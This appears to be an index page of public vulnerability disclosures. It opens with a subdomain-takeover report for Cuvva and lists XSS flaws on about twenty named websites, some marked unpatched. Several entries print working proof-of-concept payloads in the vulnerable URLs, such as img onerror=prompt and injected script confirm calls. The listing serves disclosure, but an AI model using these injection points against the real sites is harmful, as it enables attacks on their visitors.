Cuvva: Subdomain take over oh-no.cuvva.co and ohno.cuvva.co

Cuvva has an old EV certificate which lists a very large number of subject alternative names SANs, as listed below. These were included because we anticipated potentially wanting to use these hostnames in the future and it was free to add them. Very few of the hostnames actually exist, and those...

cz.infor.com XSS vulnerability

Vulnerable URL: http://cz.infor.com/InstantService/RightNow/ISemail.jsp?referer=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27;%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 15:49 GMT Vulnerability type:| XSS Vulnerability status...

tactical22.net XSS vulnerability

Vulnerable URL: http://tactical22.net/bro/shop.php/SEARCH-1/searchresults.html?st=%3Aall%3ALeupold+Replacement+Scope+Base+Windage+Screw...

eppingforestguardian.co.uk XSS vulnerability

Vulnerable URL: http://www.eppingforestguardian.co.uk/search//"--!" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2234867 VIP website status:| No Check eppingforestguardian.co.uk...

essexbusinessawards.co.uk XSS vulnerability

Vulnerable URL: http://www.essexbusinessawards.co.uk/search//"--!" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5165832 VIP website status:| No Check essexbusinessawards.co.uk SS...

rttimes.co.uk XSS vulnerability

Vulnerable URL: http://www.rttimes.co.uk/search//"--!" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check rttimes.co.uk SSL...

widget3.linkwithin.com XSS vulnerability

Vulnerable URL:...

khoaanh.net XSS vulnerability

Vulnerable URL: http://www.khoaanh.net/index.php?module=WebLinks"'--!confirmOPENBUGBOUNTY...

performbetter.com XSS vulnerability

Vulnerable URL: http://www.performbetter.com/webapp/wcs/stores/servlet/SingleSeminarDisplay?catalogId=11801"--!"=One-Day+%22Learn-by-Doing%22+Seminars=2009509=-1=2241968=10151 Details: Description| Value ---|--- Patched:| Yes, at 29.07.2017 Latest check for patch:| 29.07.2017 19:28 GMT...

beverly-hanks.com XSS vulnerability

Vulnerable URL: http://www.beverly-hanks.com/search/results?addresskeywords="--!" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 405282 VIP website status:| No Coordinated Disclosu...

r.fox-itnews.fox-it.com XSS vulnerability

Vulnerable URL: http://r.fox-itnews.fox-it.com/%22%3E%3Cimg%20src=x%20onerror=prompt'OPENBUGBOUNTY';%3Efox-it.html Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...

warringtonguardian.co.uk XSS vulnerability

Vulnerable URL: http://www.warringtonguardian.co.uk/search// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 167840 VIP website status:| No Check warringtonguardian.co.uk SSL...

leighjournal.co.uk XSS vulnerability

Vulnerable URL: http://www.leighjournal.co.uk/search//"--!" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 930855 VIP website status:| No Check leighjournal.co.uk SSL connection:|...

pet-dog-cat-supply-store.com XSS vulnerability

Vulnerable URL: http://www.pet-dog-cat-supply-store.com/shop/dog-bones.php?brand=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22OPENBUGBOUNTY%22%3E Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 14:25 GMT Vulnerability type:| XSS Vulnerabili...

bkavvalos.com XSS vulnerability

Vulnerable URL: http://www.bkavvalos.com/pdetails?id==Κ-=en Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check bkavvalos.com SSL...

edjesales.com XSS vulnerability

Vulnerable URL: http://edjesales.com/catalogpage.php?catalogid=613 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12558920 VIP website status:| No Check edjesales.com SSL...

iwebspace.de XSS vulnerability

Vulnerable URL: http://www.iwebspace.de/Kontakt--Hilfe,19.html Details: Description| Value ---|--- Patched:| Yes, at 08.09.2017 Latest check for patch:| 08.09.2017 07:02 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16987213 VIP website status:| No Check...

nedis.sk XSS vulnerability

Vulnerable URL: http://www.nedis.sk/sk-sk/novinky/latest-news/47/.htm?page=1%22%27--!%3E%3CScript%20/K/%3EconfirmOPENBUGBOUNTY%3C/Script%20/K/%3Enews Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4402451 VIP...

google.ampm.co.kr XSS vulnerability

Vulnerable URL: http://google.ampm.co.kr/insiter.php?designfile=login.php&prevurl=...

pkusd.org XSS vulnerability

Vulnerable URL: http://www.pkusd.org/main/cp.php?"'--!confirmOPENBUGBOUNTY...